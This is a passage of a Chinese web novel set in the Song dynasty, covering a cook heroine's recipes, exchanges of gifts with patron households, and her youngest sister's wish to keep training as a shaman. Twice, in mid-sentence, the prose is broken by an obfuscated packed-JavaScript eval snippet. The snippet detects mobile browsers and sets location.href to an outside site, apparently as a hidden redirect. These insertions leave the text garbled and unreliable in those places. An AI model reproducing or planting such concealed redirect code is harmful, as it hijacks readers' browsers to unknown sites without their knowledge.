蒸青鱼③是将新鲜从乡下捞出的青鱼洗干净,用陈酒、酱油几盏,上面盖上葱姜蒜调味料和笋香菇等增鲜的东西。 这方子是叶盏从李渔那里抄来的方子,不得不说,这样子处理过之后,鱼味更加鲜美。 在蒸鱼过程中,鲜味被那些笋和香菇盖住,完全泄露不出去,因此最大限度得保持了鱼肉的鲜美。 而且因为鱼皮上盖了一层东西,鱼肉不直接与蒸汽接触,所以鱼皮更加细嫩。 整道菜用各种方法将青鱼的鲜美演绎得淋漓尽致。 一口下去,肚里的馋虫瞬间被满足。 玉姐儿当天数钱数得手都要抽筋了,忍不住在回家后突发奇想:“要是每位客人单价是一两银子就好了。” 数银子可比数铜钱方便多了。 “你就做梦吧。如今菜价难道还不高?”宓凤娘趁机给女儿教导踏实苦干的道理,“你怎么不梦得更大些呢?让那些客人只用挥挥手就能结账就好了?你连银子都不用数了。” 叶盏:……后世还真只有一下就能支付的法子。 正闹着就听外面接二连三来了两拨人敲门。 一拨人是杜家跑腿的小厮:“老夫人、夫人、小娘子收了你的礼,说这山里野趣难得,比家里庄子上送来的还新鲜些,又说你小本经营,心里惦记着原来主家已经极为难得,不用时时送东西来。” 还带了二十斤白面并一坛子酒:“少夫人说这是今年庄子上南边新下来的麦面,没多贵重,但京城这一带麦子还没熟,就吃个新 鲜。” 宓凤娘喜得不住拿眼睛去看。白面是好东西,酒也贵,这个年代酒要靠粮食酿造,要知道大多数人还在温饱线呢,因此酒的价格比白面贵多了,堪称硬通货。 叶盏便给了他一油纸包甘草杏做零嘴,问他从前的姐妹过得可好,又请她回去时问老太太、太太安,再兼之给三娘子问好,这才打发他回府。 来的第二个人是陶家婆子:“我家大夫人吃了您送去的山货,甚为感谢,叫我送了些回礼。” 叶盏一看就吓了一跳:她送过来一腿火熏、两罐子南北酱菜。二十斤白面并一坛子酒 她送去的不过是些乡下买来的野货,要按照贩卖到京城的价格也不高,只有陶夫人送礼的三分之一。 那火熏是熏火腿,单一个熏猪腿就值当一千文,两罐子南北酱菜还是城里闻名的老字号,不是家常随便腌制的菜蔬。 俗话说无功不受禄,陶夫人怎么会送这么重的礼物? “这礼太厚了些,我不敢收。只不过是些乡野俗物,我送礼感念夫人曾厚待我,并没有存心攀附贵人的意思。” 宓凤娘在旁急得给女儿使眼色:这一个好大猪腿,价格能有好多,傻子才往外送呢。 可惜她挤眼睛挤得眼皮疼,女儿都装没看见。 “我家夫人说叶二姐一定不会轻易收,我还不信呢。”那陶家婆子便笑,“你安心收着,这既是我家的回礼,又是我家夫人的谢礼。” “谢礼?这回从哪里说起?”宓凤娘好奇问。 陶家婆子含笑看了叶盏一眼:“当初叶二姐几句话就解开了我家夫人的心结,还给她想了个解决法子。” 原来陶夫人听了叶盏一番话之后觉得深有道理,便自己也照着叶盏教的法子行事。 原先老夫人一些行径总能惹得她生闷气,觉得她老人家过于偏心二房,可如今不琢磨老夫人,只盯着自己想做什么忽然觉得天地为之一开阔。 像是前几天,老夫人出门去伯府赴宴,居然带了老二媳妇没有带她,要是往常陶夫人肯定又要狠狠生一场闷气,并且在心里反复琢磨老夫人这回又是在敲打自己什么? 可如今按照叶盏的开导,默认老夫人只偏利益,原先看不懂的做派就能看懂了: 伯府掌权的少夫人的奶 娘是二夫人娘家姑姑,据说两人小时候还一起玩过,关系极为亲厚。 老夫人是商户没有诰命,带了大夫人去就要按照陶大人的官品排次,坐在芜廊里次一等的酒席位置,说不定连伯府老夫人的人影都看不到。 可带了老二夫人,靠着她姑姑的体面,能进主院坐酒席。 说来说去不是偏心,而是哪个儿媳妇能带给她更多利益就抬举谁。 想通了这一条大夫人轻轻松松,非但没有钻牛角尖,还心情愉悦叫了外面的席面跟儿女们吃。 就这么过了一段时日,大夫人忽然发现困扰自己许久一些身体上老毛病居然不翼而飞! 去看郎中,郎中都夸她保养得好,说她现在心宽体胖,面色红润,自然从前那些妇人的老毛病就没有了。 大夫人高兴之余越发感念叶盏,还派婆子捎话:“我妹妹家下月有场满月宴,我介绍了你帮忙做菜。 原来是这样,叶盏想了想便收下了礼物:“那我就却之不恭了。 喜得宓凤娘呲牙乐。 再者叶盏也笑吟吟接下上门生意:“我定会好好办这一场宴席,不辜负夫人的推荐之意。 宓凤娘喜滋滋看着一腿火熏、两罐子南北酱菜、二十斤白面并一坛子酒这些东西,心烧得闲不住, 拿了一张干净抹布把酱菜坛子和酒坛子擦得干干净净,能照见人影:“还是盏儿看得长远,当初你买东西我还嫌你买得多,如今看人家送来的回礼,这一笔眼看是净赚了。 一边又核算拿出去卖能赚多少钱。 叶盏哭笑不得:“娘,送人家礼又不是存了要赚人家回礼的心思,不然那成什么了? 她拿出纸笔开始登记:“以后我们家的生意会越做越大,邻居客人之间总会赠送些礼物,不如现在就学会分门别类登记造册,以后也方便统筹。 “好。宓凤娘这回看女儿是怎么看怎么顺眼。 一边畅想:“不知长公主府会送来什么回礼? 她等啊等,但长公主一直没送来回礼,叶盏便安慰她:“长公主一年不知要见多少人,门子一天不知要收多少人巴结送来的礼,一时疏忽我们也正常。 “那么多巴结的人送礼,长公主不扔就不错了,怎么可能挨个回礼 ?” “回礼的两户人家门第比长公主府低许多一个陶家大夫人感念我帮她解决了切身难题一位杜家是我从前的主家老夫人又喜欢下面丫鬟报恩的事所以他们门房才特意通禀上去的。” 宓凤娘想想也对便放下这个执念。 那火腿被她从厨房搬运到了自家卧室想想又送到儿子们住的地方去:“我们几个都是妇道人家 金哥儿哭笑不得:“娘您也不怕火熏上掉落的猪油点滴脏了我的销金衣裳?” 却拗不过亲娘只能将火腿搬运回去好生照料。 叶大富却还没回来还在乡下料理田地只打发了儿子回来叶盏想想又叫大哥回去了一趟捎话吩咐叶大富买些鱼苗投放于稻田中。 “鱼苗?稻田?”金哥儿实在是想不明白这两者之间有什么关联。 “稻田里蓄着水放些鲫鱼、鲤鱼这样的鱼苗剩下便不用管稻田里有飞落的小虫子还有落下的稻花足够鱼儿吃饱等到稻田收割时里面的水放干鱼也肥了正好捕捞来送进城里来出售或者是自家来吃都极其美味。”叶盏回忆起前世稻花鱼吩咐哥哥。 “倒有道理。”宓凤娘到底种过田“至少能吃些水田里的虫让稻苗长得好。” “这法子不如告诉村里人让他们都养鱼到时候我来收购买来在汴京城出售也能多个进项村里人也能多赚些钱。” 却被宓凤娘拦住:“先等半年等我们的鱼丰收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13201764|134506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的时候不要瞒着村里人让他们自己看见自然会自己去养鱼胜过我们去说服。” “要我们去劝说一来他们不信总觉得外人有坏心二来万一中间出个岔子闹起来让我们家赔偿损失怎么是好?” 叶盏想想便也决定听娘的:她固然很了解致富经但娘更了解人性。 总归这稻花鱼的法子到时候不藏私让全村人都学会。只让他们晚半年赚钱罢了。 金哥儿便又带了些叶盏做的耐放的卤菜回村里给亲爹捎话养殖稻花鱼。 再回来时捎了好消息:说稻花鱼已经全部放进了稻田村里有人看见有好奇的也有跟着说风凉话的但没有一家贸然跟着投放鱼苗。 他回来时还带了一筐子桑葚:“这是舅爷家给的。清晨特意去摘的,还带着露水呢。” 叶盏看着桑葚,便想做一道乌葚膏④。 先挑选几嘟哝紫到发乌的桑葚洗干净,破损、颜色不够浓的都进了玉姐儿的肚子。 晾干水分后加白糖梅子肉、紫苏叶不断捣碎,直到变成饼状,再用油纸包起来,放在外面让大太阳晒。 叶盏担心有虫子,又担心被猫儿抓了去,找娘要个竹箩筐扣一扣。 宓凤娘一指:“哪里要扣?那里有个狸猫巴巴儿等着呢。” 玉姐儿蹲在油纸包前,巴巴看着,恨不得透过油纸包看见里面的东西。 叶盏噗嗤一笑:“还是拿个箩筐好,万一玉姐儿一会又去盯旁的吃食。” 桑葚渐渐被太阳晒干了所有的水分,连油纸张收起来,叫做乌葚膏。 有些人家能将这个放足整整一年呢。遇上雨天乌葚膏会自己吸附空气中的水分,变得湿润。 是保养的方子,最适合养颜、开胃、调节心情。 叶盏便将乌葚膏又收拾了几分,用齐整礼盒收拾好,给陶夫人、杜家又送了一份。 宓凤娘想了想,还是给长公主府送了一份,不过这回不是给长公主,而是留言要给当初送了她红缨头绳的婢女。 长公主府还没给她回礼,倒是银哥儿的同僚等几乎街坊都送了回礼。 赵夫人又拿着一份笋肉馒头过来,赵小七去念书了,她就自己过来送。 宓凤娘感慨:“听说那书院管得很严格,学子们不让归家,你们膝下就那一个独子,哪里舍得?” 赵夫人有些害羞摸摸肚子:“如今又有了一个。” 怀孕了?宓凤娘大惊,又替她高兴:“人丁兴旺些好。” “你不笑话我老蚌生珠便好。”赵夫人脸颊微红,“街头巷尾如今有些议论,都说我不庄重哩。” “你管那些人嚼蛆!”宓凤娘帮她骂,“回头她们再笑话你就说赁金要涨价。管饱叫那群贼囚子不敢造次。” 赵家很宽厚,房屋赁金并不高,因此一旦赵家说要涨价,那些街坊邻居们肯定要惊慌失措,这样一来就没心思说闲话了。 “那怎么成?”赵夫人微微蹙眉,“我还想着为肚里的孩 儿和小七两个积攒福德减一成赁金呢。” “叫你吓唬他们吓唬!”宓凤娘恨铁不成钢“又没叫你来真的我的好婶子你涨价了我家不也得跟着交高赁金吗?”她又不傻。 她这闺中密友什么都好就是人太纯真一点人和人交往的小九九都不懂。 赵夫人恍然大悟:“到时候孩子生了还要请你当孩子干妈教导她会些生存之道才好。” 又感慨:“我看你家女孩儿都灵巧玉姐儿性子爽利盏姐儿踏实能干璃姐儿稳重若是我能生个像她们一样的乖女儿就好了。” 别人夸自己女儿好宓凤娘与有荣焉:“那有什么回头我将她们小时候的玩物送一份给你你放在案头时时把玩定能生个聪明伶俐的女儿。” 赵夫人当然是满口道谢又问宓凤娘:“我听说璃姐儿如今跟着时妖夫人学符咒是不是能给我讨一副保准生女儿的符水?” 急得宓凤娘捂耳朵:“你可别听外面人乱说她小孩子家只不过拜师混口饭吃哪里就管用了?再说你可别乱喝符水谁家的都不成。” “我也曾听说过有人说有些骗子拿蝙蝠屎蟾蜍骨熬药骗人所以才想着从你这里讨要些知根知底的。”赵夫人柔柔弱弱开口。 宓凤娘头摇得拨浪鼓一般:“你可别着了这些人的道一概不许入口否则我就去寻你家赵老爷告状。” 想了想赵家老爷跟叶大富一样是个怕老婆的软骨头恐怕管不住赵夫人立刻改口:“我去书院里寻你家赵小七告状。” 直把赵夫人劝说回头叫她保证自己再也不碰这些玩意儿才作罢。 宓凤娘才松了口气找了两件姐妹三个儿时的玩具拿去给赵夫人。谁知这后面惹出了一桩纠纷。 银哥儿回家看看用来送礼的一瓶瓶乌葚膏随口道:“可有给阮家也准备一份?” “阮家?早送去了。”宓凤娘跟儿子说。 她从老家回来后就见到了阮婶子。 两家都是疼爱女儿的人家因此原本两分的亲热变成了八分再看对方拿出来的礼物亲热就变成了十分一会功夫就拉着“姐妹”相称叙起了家常。 阮家夫人便也打发阮家小娘子来家里送些节礼两家就此常来常往。 阮家小娘子是个利落脾气倒跟玉姐儿投缘。这几天两家有点通家之好的意思。 因此宓凤娘早就给阮家也备了一份礼。 她现在满脑子都是小女儿心不在焉念叨:“得赶紧让璃姐儿换个营生才好。” “唉也怪我一天天也不知道在忙些什么倒忘了关心璃姐儿如今家里日子好过了不用让她再学时妖了。” 宓凤娘想得很简单:现在家里的日子蒸蒸日上叶璃的出路好解决不想跟着她当媒婆也行:要么跟着叶大富学习田庄上的事要么是跟着两位姐姐学习做厨娘再不济在家里缝缝衣裳学学绣花家里也养得起她。 打定了主意宓凤娘跟叶盏开口:“如今店里也忙不知能不能带着你三妹一起?”即使是自己女儿也要跟她问清楚才行。 叶盏当然是没意见如今她的店里利润正在稳步上升再添加一个帮手完全可以。 以后她还要开更多店铺亲姐妹当然是最好的分店店长人选。 母女俩这件事就算是说定了只等着叶璃点头同意了。 作者有话要说 大奈糕①(出自山家清供) 沙果②:一种小苹果 蒸青鱼③《闲情偶寄》 乌葚膏。④(《食宪鸿秘》) 第 43 章 山家三脆 家里谁都没想到叶璃不同意。 “娘,我如今很好,跟着师傅学习也很好,维持如今的日子就很好。”叶璃小大人一般开口。 宓凤娘哪里同意:“不成,你这过得哪里是好日子啊!” 她这次回老家看到不少从前的邻居亲眷,也看到人家的女儿。 有些家境寻常的还好,有些从前跟叶家差不多家世的,人家儿子送去科举,说不定考个出身出来就能鲤鱼跃龙门,田地也能顺顺当当不用缴税。家里的女儿家跟着也娇养,要么许给县城里的富户,要么找个读书人家。 “人家从农门到官门,反观我们家一个比一个惨,小女儿居然去画符。” 宓凤娘从前安于现状几十年,或许是忘了原有阶层的事,或许是有意识回避,总之这么多年看着似乎已经接受了自家掉落阶层这件事。 可是这回回了一趟老家,跟原先的亲戚朋友聚头闲聊又想起了差距。 叶家虽然买了田地,但数量太少,比起从前地主的日子那是大大不如。 子女几个,金哥儿到底往来都是公子哥儿这样的体面人,银哥儿不说是体面差事吧,好歹也在衙门里混,说出去好听。 玉姐儿和叶盏两个是厨娘,厨娘不是下九流,最多算小商贩,而且大宋时兴女子做厨娘,收入高有手艺,在婚恋市场上也算抢手。 唯有小女儿是她的心事,因此说话语气便也急了些:“你也不嫌当时妖丢人。” 这句话一下就惹恼了叶璃:“我不嫌丢人,我觉得很好。” “很好?”宓凤娘声音抬高八度,“好个屁。” 时妖是下九流不说,宓凤娘眼里她们每日里装神弄鬼,走街串巷哄骗人的钱财,有时候遇上官府严格些,还会把时妖当做巫蛊术来处置,轻则下大狱重则砍头。 更别提婚嫁了,运道都有可能受影响。 都说时妖连接天地窥探神的旨意,要拿东西来跟天地交换,这代价或许是此生运势,或许是自身健康,或许是丈夫性命,或者是儿女运势。是上天注定的五鳖六缺之人。 旁的不说,叶璃的师傅就终身未婚,师傅的师傅则全家先后逝去。 贫民区里小偷小摸层出不穷,可就连小偷都不敢去时妖家里,怕沾染上“晦气”, 寻常百姓有事相求时自然是恭恭敬敬扭头却要烧毁时妖做过的椅垫、砸掉时妖喝过水的杯盏。 这种人人避之不及的日子能叫过得好? “原先只叫你糊口没叫你当真。再说你那个师傅一辈子嫁不出去被人指指点点 “娘!不许编排我师傅!”一贯乖巧的叶璃反应激烈顿时站起来梗着脖子“当时您既送了我去现在就不应当再去逼我回去。” 别看她平日里不哭不闹可这回犟起来也狠:“娘不就是嫌的丢人吗?当初家里送我去时怎么不嫌丢人?当时我不愿意在屋里哭娘不是还拿糖哄我来着?” 一句话惹得母女几人同时红了眼眶。 宓凤娘眼泪掉下来了却没有哭也昂着头狠狠看着女儿:“随你怎么说反正今日锁着门不许你再出去了!” “那我就不来了!”叶璃跟着怼回去母女俩一个赛一个的倔强。 “让你犟!有本事跟着外人别回来!” 宓凤娘放着狠话语气却透着慌。 说罢就一把扯开门帘往巷子外面去了。听不见她哭声只听见她重重擤鼻子的声音。 叶璃也跟着一头扑到了床上拉着被角呜呜咽咽哭了起来。 玉姐儿拿着山楂糕哄妹妹也跟着眼睛红红 叶璃哭了一小会就不哭了把袖子狠狠抹一把眼睛像是在跟谁置气一屁股蹲在灶火前烧火。 叶盏叹口气:“也罢帮我做一份菜。” 她今天要做的菜是山家三脆①。 嫩嫩的枸杞芽只掰掉上面的部分。 加上山野里松树下的松蘑还未完全撑开小伞据说这样的蘑菇最鲜美。 再加上春笋干可惜如今不是春季因此只能用山民们送来的春笋干泡发后用清水洗干净。 叶璃跟着姐姐洗菜手浸泡在木盆里清水从手掌间流过指尖抚过枸杞的尖芽儿痒痒的。 松蘑的菌盖倔强撑开像一把小伞 山野的菜蔬似乎有一种魔力默默抚平她躁动的心思。 渐渐她平静下来起伏的胸膛安静了下来撅着 的嘴唇也平息了弧度只专心跟着姐姐洗菜享受着市井里的静谧安闲。 三种蔬菜认真挑选保证大小、形状看着相同的再一一切好而后过油开炒。 略微炒了一下就下了滚汤。 汤水也不是普通的白水而是用豆芽香菇熬好的素高汤。再关火调味加上胡椒粉 整道菜准备时间极长又是熬高汤又是精挑细选菜苗可等真正做菜时却几乎是刹那之间完成。 “做好了。” 叶璃也跟着笑了看着一盘菜从无到有放在盘子里整整齐齐摆着真的很有成就感。 竹笋淡黄内里雪白蘑菇淡褐色枸杞芽嫩绿整道菜活像一副山水田园画。 姐姐却没有将它放进家里的盘子内而是寻了她特意买的细白瓷深盘里又放进了食盒。 叶璃平日里观察姐姐做饭也知道姐姐自己家做菜都很节俭不会这么浪费这道菜明显是用了巧思 “姐姐……”叶璃似乎有点明白了但不敢确认。 叶盏冲她点点头:“你师傅喜欢吃素这道菜给她吃正好。” 怪不得。 二姐这么做菜也是为了自己。 叶璃看着自己脚尖:“姐姐……” “娘也是担忧你家里的孩子众多她从前没能力如今有能力了些便想让大家都有个好营生。”叶盏小声劝导。 叶盏对于时妖的印象来源于《红楼梦》里的马道婆绞几个纸人就能惹得活人大白天中邪闹得大观园里人心惶惶。甚至马道婆和孙绍祖的同人文里凶悍打老婆的反派中山狼孙绍祖在马道婆手里也不过是个被捏扁攥圆的受气包丈夫。 干这行学艺深入那便是呼风唤雨无所不能的马道婆;学得不深那便是坑蒙拐骗的王婆专司花言巧语用些初中化学物理趣味实验的内容哄骗后宅妇人拿些银两罢了。 宓凤娘对叶璃的期许当然是后者指望温饱糊口便可如今叶璃不需要为温饱牺牲了可却没留意叶璃想做前者。 “可……娘不应该说师傅我觉得师傅很厉害。”叶璃低头或许是哭过的缘故声音闷闷的。 “师傅锁着的物件里还有一件鹰袍我夜里守着师门 祭拜礼时偷看过,很威风,样式也很古老,据说源自很早很早的师门,那时候天下还随着女人姓氏呢。” “姐姐,你说这是真的吗?” 叶盏想起历史书上的女系氏族,点点头:“是真的。像姬、姜、姒、嬴、妘、妫、姞、姚这些上古八大姓就是女字旁,便是证据。” 玉姐儿在旁听得一愣一愣:小妹比她果然更像长姐,要是她肯定会偷吃贡师门的贡果,哪里还会分神去翻什么师门传承。 “师门里传下来的咒语开头,说那时女子做王,女巫做相,是真的吗?” “或许是真的。”在远古时代,沟通天地、掌握医术的巫师地位类似于国师,而社会地位更高能诞育生命的女子才有这项能力。 时代变迁,或许真的曾经发生过流血镇压,使得女巫手里的权杖被埋在地里,头戴的王冠变成了头巾,神通也从占卜战争吉凶收缩成预测后宅风浪,治病救人的医术也变成了学究们斥责的“喝符水”。 只有她们代代口口相传的咒语里蕴藏了她们辉煌的历史。 叶璃没想到二姐居然这么理解自己。 她没有害怕,也没有一味劝着自己听话,只是顺着她的思路回答。 “娘说什么独来独往,不成婚,被人笑话,那些我都不在乎。”叶璃放心说着自己心里的想法,“跟天地沟通,号令生灵,怎么会孤独呢?” 叶盏看着自己的妹妹,她也没想到叶璃居然是这么想的。 她印象中的叶璃有着与年龄不符的稳重成熟,偶然还有点毒舌,做事情很专注。 却没想到她能这么成熟,在很小的年纪就已经知道自己的梦想是什么了。 “既然你喜欢这一行……”叶盏小心斟酌着字句,“不如好好跟娘说说,娘也不是不通事理的人。” “娘肯定不愿意,爹也不愿意。”叶璃苦笑,“就是二姐你,也不大愿意。” 叶盏又是一愣。 她的确不大同意。 在封建统治者大肆打压巫术的社会前提下,怎么能让妹妹走这条路呢? 如果在现代,叶璃可以成为一个专门研究巫术的社会学学者,既能周全她的爱好又能谋生,可在这个时代,她就只能做一个巫婆。 这是一条很艰辛的路, 你会眼看着你的姐妹走上一条注定艰辛的道路吗? 叶盏摇摇头。 玉姐儿也摇摇头,并且头摇得飞快像拨浪鼓一样:“小妹,万万不可。” “你要是再坚持,下回娘说要关你时我可不管了。”玉姐儿发急,“好好的人不做,做什么巫?” 听说那些有神通能窥探天机的人身体都会出问题早逝,她可不想让小妹也这样! 还是叶盏镇定,她换了个形式问妹妹:“你喜欢时妖的什么呢?” “是觉得做法时衣饰华丽?仪式神秘?还是喜欢钻研古籍看书时的自在感?” “都不是。”叶璃慢慢想,“我喜欢帮助别人解决问题的感觉。” 那些人家里田宅闹鬼、接二连三出坏事、生病,师傅总能找到解决办法,用各种方式解决。 那些百姓从一开始的愁眉苦脸到感激涕零、如释重负,捧着礼物出来,由衷说着感激的话,这让叶璃心里也跟着高兴,这是她最喜欢的环节。 叶盏点点头:“既然这样,不如你慢慢想想,这种感受只能通过做时妖获得么?” 这句话一下点醒了叶璃,也点醒了玉姐儿。 “就是啊,妹妹。你多想想。”玉姐儿欢快陈述起来,“盏姐儿看食客吃饭时满足,娘喝酒时满足,我看吃食时满足,这些不也是帮人解决问题吗?” 盏姐儿给食客解决吃饭问题,娘给酒铺老板解决生意问题,我给吃食解决无人欣赏问题,的确都一样,没毛病。 叶璃若有所思,叶盏便也没有再说,由着她慢慢想。 “如果你十八岁了还想做时妖那就由着你去,可你如今还小,接触最多的就是那一行,说喜欢到底有几分是真心喜欢,又有几分是习惯了?”叶盏这回态度严肃。 还没有分辨能力时做出的选择很容易被裹挟,自己以为是“自我意志”,其实很可能只是被环境浸染。像某些地方儿童皈依宗教和变性,不就是这样吗? “这段时间我和玉姐儿会帮你瞒着,就说你跟着我们学厨,你可以偷偷去找你师傅继续学习,可我只给你一个月考虑,一个月后你要告诉我到底是要怎么选。” 叶璃郑重点点头:“二姐放心,我一定不辜负两位姐姐的好意。”说罢就往后重重行了个大礼, 扭身拎着食盒去找师傅。 看着叶璃走了,玉姐儿早就按捺不住:“妹妹,你真由着她闹啊?” “没事,她会想明白的。”叶盏开口。 宓凤娘从窗边站起来:“行了行了,锅里炖着的粥都快要熬烂了。” 吓得玉姐儿一哆嗦:“娘,您怎么在哪儿?” “您不会都听见了吧?” 玉姐儿立刻看了看锅里煮着的真君粥,娘要是要把两姐妹都关起来,她能不能先盛一碗端走啊。 万一不给呢?玉姐儿索性一横心以迅雷不及掩耳之势盛了一勺,顾不上烫就要往嘴里灌。 “别吃!”被宓凤娘呵令住,“难道我现在在你们心里是那么狠心的娘不成?也不怕烫坏了舌头。” 她叹口气:“这件事是我心腹大事,但总不能让你们代行母职,干了娘该干的活计。” “总之,你们俩莫要再操心了,娘心里有数。都说丧母长女不可娶,人家怕的就是长女操心太多,代行母职一辈子都不快活,惹得丈夫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13201765|134506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也跟着低落,你们倒好,上赶着操心。你娘我还活着呢。” 又揉揉叶盏后脑勺:“你们呀,就好好当个无忧无虑的小娘子便是。” 宓凤娘对叶璃的事便也假装不知道,由着她自己想通。 不过据叶盏所知,她老人家还是接二连三拜了好几家汴京著名的道观、佛寺,跟人家祈求用自己法门的神力把小女儿从“歪门邪道的教派”中拉回来。 解决了叶璃的身份认可,叶盏便专心致志准备自己的野餐生意。 食肆里先是推出了便携易带的食盒,又是推出了山野套餐,接二连三在附近掀起了几波不小的波澜。 生意也一天比一天好,每日里利润都在上涨,看着收入大涨,叶盏又拿出一部分钱,委托了雍丘县的老家乡亲帮自己代行使采购。 选定的人便是舅爷一家,上回在他家做饭,叶盏发现这家人勤劳朴实,并且待人厚道,即使自己家很穷也要给客人吃腊肉鸡蛋。 再做饭时观察到这家的媳妇子手脚利落,不爱说人闲话,做事有板有眼。正好是负责采购的好人选。 叶盏便捎话给叶大富,将这件事告诉了他。请他代为接洽。 以后雍丘县的原料采购就由舅爷儿子儿 媳两口子来做,儿子出面在村外采购,儿媳在村内采购,两人把控好了品质,每两天往汴京送一趟。 叶家村正好位于官道上,往汴京去的牛车会路过这里,到时候只要跟车把式约定好,由他把货拉过来,叶盏在汴京清点这些东西便可。 按月给车把手报酬,月底结账,每车货物都有固定的采购数量,这样也能保证车把式不会中途贪墨东西。 叶大富便将这件事妥帖安排了。 经过这件事叶盏才意识到亲爹居然有着非常出色的组织才能,并不是一味坑蒙拐骗,想想倒也合理,叶大富前半生都是作为乡绅地主培养,自然对这些东西很为熟悉。 至于后期嘛,失去往日里能混得如鱼得水的环境,自然便激发出了他小商人狡诈的那一面。 运到汴京城的新鲜货物一多,宓凤娘倒提议:“不如咱家什么时候带着些新鲜菜蔬往杜家走走。 之前宓凤娘在街坊邻居跟前吹嘘了杜家富贵,这让她萌生了去杜府的念头。理由也说得过去:“杜家人总算没有薄待你,又给你送了那么一批礼,我们做父母的也应当感谢人家才行。 想想杜家送的东西,什么细布、银包金的金马镫戒指、银镶红纹石戒指,各个都出手大方,拿出来能做普通人家的传家宝。 甚至其中两套太太们的旧衣服,都造价不菲,衣服的材质是一寸黄金一寸衣的蜀锦,上面手工绣着的花样图案密密实实,一层压着一层,让宓凤娘连摸到舍不得摸一下。 据说这一套衣服在市面上也能卖个几贯钱呢。 甚至叶盏的丫鬟朋友们送来的东西都稀罕:什么汗巾儿和绢花,样式看着都造价很高,做工精致。 这样的人家,随便走走,那万一能拿厚重的回礼呢? 或者运道再好些,能给叶璃谋寻个什么好处呢? 叶盏点点头。 穿越过来的时候,她很懵,对周围环境半点都不熟悉,甚至笨手笨脚差点做错了事情。全靠上司和身边小丫鬟们帮忙。 她的顶头上司莲花是杜家三姐身边的大丫鬟之一,为人很是谦逊和蔼,对她的一些行为很宽容,以为她生了病还特意叫她去休息一天不用上工。 甚至在她胡言乱语“不会是在做梦吧“演戏之类的胡 话时并没有惊慌失措报上去,而是替她隐瞒了下来,说她只是中暑了。 否则要是像红楼梦里晴雯一样,被赶出杜家,只怕她就能病死在某处肮脏破落的小房子里,压根儿遇不上现在的家人了。 其余小丫鬟们人也很好,和善友好,还帮叶盏从厨房里偷偷端过饮子,给叶盏熬药。都是同甘共苦的姐妹。 叶盏心里也很感念这些人,想着有时机定要回去探望他们。 想了想如今自己的生意算是站稳了脚跟,店里也能井井有序运转,给人送礼也能拿出些银子来买,不算太落魄,正好可以去探望人家。 “国公府这样人家,总归是家大业大,什么好东西没见过?我们的礼是越粗越好。宓凤娘对此有自己的一套心得。 “我看这选购礼物,也不用太过奢华,反正人家家里是官宦世家,什么好东西没见过?我们买了人家也不稀罕,倒不如买点土物尽尽心意就好。 叶盏想了想:“也好。 “我的儿,你可得穿得好看些,杜家除了跟你交好的,定然有跟你交恶的,你回去穿得好看体面,才能让她狠狠生气。宓凤娘欢天喜地收拾着去杜府的衣服,顺便叮嘱女儿。 殊不知叶盏手里一顿。 她在杜家的确有交恶的人。 杜家人是太常少卿,家里人有好有坏,杜家三姐儿是个很仁慈的主家,可隔房姨娘所出的杜家四少爷却不是个东西。 他脾气暴戾无端, 原主在花园里行走时不小心踩到了他心爱的小猫,就被四少爷罚跪了一下午。 四少爷虽然是庶出,但他压根不怕得罪嫡出三姐儿,反正只是个奴婢,怕什么? 他可是杜家单穿男丁,三姐儿的亲娘大太太在他跟前都得退一射之地。 因此他肆无忌惮罚了原主。 那天天气闷热,原主先是挨了四少爷一顿耳光子,随后在大太阳下曝晒一下午,中暑身亡。 叶盏穿越过来时原主尸首已经被抬到外院门板上,预备去抛尸了。 还好她机灵,醒转过来后谎称自己是中暑晕过去了,才捡回一条命。 原主与她长相秉性名字一模一样,叶盏就当这是有缘,借用她的身体,要报答她的方式一是帮她家人走向小康,再就是替她报仇。 只不过自己一介平民,要报复四少爷总归要从长计议。 作者有话要说 山家三脆来自《山家清供》 宓凤娘有自己的思想局限性,并不是完人,后期她会意识到错误并成长。 第 44 章 可丽饼 杜家做着太长少卿的官,四品官,管着祭祀宗庙时的一些琐碎工作,在遍地公卿的汴京城很不够看,但因着累世官宦积攒下许多家业,因此家里很富足,住着一套三进的大院子。 叶家要登门自然不能空手去。 宓凤娘早就定好了要将雍丘县送来的土产选其中最新鲜的,又特意从自己的衣服里挑了一件最贵最花哨的。 却被叶盏嫌弃:“娘挑件素净的。”宓凤娘喜欢花里胡哨的,但大宋从上到小审美都趋于清淡素雅,杜家这种有传承有底蕴的人家自然也不例外。 宓凤娘这回没反对,乖乖儿换一件素净衣裳。 叶盏自己和玉姐儿两个也打算穿浅色衣裳。金哥儿做主给两个妹妹挑衣服。 给玉姐儿挑了件月白的,褙子上绣着小小的兔子,淡蓝底映衬得白兔更加可爱,正好跟玉姐儿活泼跳脱的性子相符; 金哥儿给叶盏挑了好几件都不满意。 叶盏忙着去做点心,对这些都不甚在意:“大哥随便搭配就可以,我一会从灶房里出来拿起能穿就好。” “那怎么行?”金哥儿一板脸,“你的穿着才是最重要的。” “玉姐儿和娘穿什么都行,毕竟杜家人心里知道她们是外面的百姓,就算不会格外礼遇但也不会随意叱骂。” “你毕竟从前是她家奴仆,要打扮得庄重些,祛除从前的奴相,免得她们家有人以为一日为奴终生为奴,把你看轻辱慢了。” 叶盏笑:“大哥果然想得周到。”这也是人之常情,从前你是她家奴仆,人家再见面也难免再把你当奴仆,说话颐指气使,倒不如装扮上完全跟小丫鬟不同,扮做民女,也让她们知道时移世易。 